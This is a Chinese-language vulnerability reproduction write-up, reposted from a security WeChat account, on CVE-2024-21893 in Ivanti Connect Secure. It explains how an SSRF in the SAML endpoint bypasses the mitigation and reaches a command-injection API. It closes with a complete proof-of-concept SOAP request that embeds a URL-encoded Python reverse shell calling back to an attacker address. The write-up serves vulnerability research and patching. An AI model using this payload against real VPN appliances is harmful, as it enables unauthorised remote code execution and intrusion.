Ivanti Connect Secure 为远程和移动用户提供了一个无缝的、具有成本效益的SSL VPN 解决方案,使他们能随时随地从任何可上网的设备访问企业资源。
漏洞编号:CVE-2024-21893 CVE-2024-21893 是存在 Ivanti Connect Secure SAML 组件中的 SSRF 漏洞,该漏洞主要是由于使用存在漏洞第三方库,并且第三方库没有及时的更新导致的,可以绕过 CVE-2024-21887 命令注入漏洞的补丁,达到未授权 RCE 的目的。
Ivanti Connect Secure(9.x、22.x) Ivanti Policy Secure(9.x、22.x) Ivanti Neurons for ZTA SAML组件(这个只能SSRF)
本次复现使用 Ivanti Connect Secure 22.6R2.1 (build 2487)版本并导入缓解措施 mitigation.release.20240107.1.xml
下载虚拟机版本的 Ivanti Connect Secure,导入虚拟机中
这里需要等带一下,等待系统解压安装完成,完成安装之后按照如下配置进行初始化:
随后新建管理员
创建管理员完成
进入系统自带的 shell 界面
访问 https://ip/admin 进入后台导入 mitigation.release.20240107.1.xml
缓解措施
mitigation.release.20240107.1.xml
缓解措施主要是对 CVE-2023-46805 和 CVE-2024-21887 的缓解,该措施禁止访问存在漏洞的接口。
获取 shell 可以参考这篇博客里面提到的方法 https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/
获取 shell 之后进入 /home/bin
目录,执行 python -m SimpleHTTPServer 8899
启动 http 服务,下载 web 和 saml-server 二进制文件, 下载之后将 web
放入 IDA 中进行分析,找到路由 /dana-ws/saml20.ws
,是没有鉴权的,还有一些没有鉴权的路由如下:
接着来看对 /dana-ws/saml20.ws
路由请求的处理
这里会匹配 /dana-ws/saml20.ws
,/dana-ws/saml.ws
, /dana-ws/samlecp.ws
再接收到请求后由 doDispatchRequest
转发到 saml-server
中处理
在 saml-server
中由 createXMLObjectFromSoapMessage
函数将 soap 数据换成 xml 数据,最后由 xmltooling 库进行处理,而 xmltools 在 3.2.4 以下的版本是存在一个 SSRF 漏洞,该漏洞可以通过构造 KeyInfo
来实现SSRF。在本次复现的环境中使用的 xmltooling 版本为 3.2.0
因此完整的利用链如下:
KeyInfo
的 SOAP 信封发送到 /dana-ws/saml20.ws
web
服务器将请求转发到 saml-server
上,saml-server
会调用 xmltooling 库解析 xml 数据http://127.0.0.1:8090/api/v1/license/keys-status/
,绕过了缓解措施 mitigation.release.20240107.1.xml
/api/v1/license/keys-status/
存在命令注入,可以执行系统任意命令POC验证
POST /dana-ws/saml20.ws HTTP/1.1
Host: 192.168.0.190
Sec-Ch-Ua-Platform-Version: "13.6.4"
Sec-Ch-Ua-Mobile: ?0
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 1157
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>qwerty</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E0%2E133%22%2C8899%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
<ds:X509Data/>
</ds:KeyInfo>
<ds:Object></ds:Object>
</ds:Signature>
</soap:Body>
</soap:Envelope>
利用结果如下:
Ivanti 已发布补丁,请及时升级版本或缓解措施
https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis https://xz.aliyun.com/t/13322
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!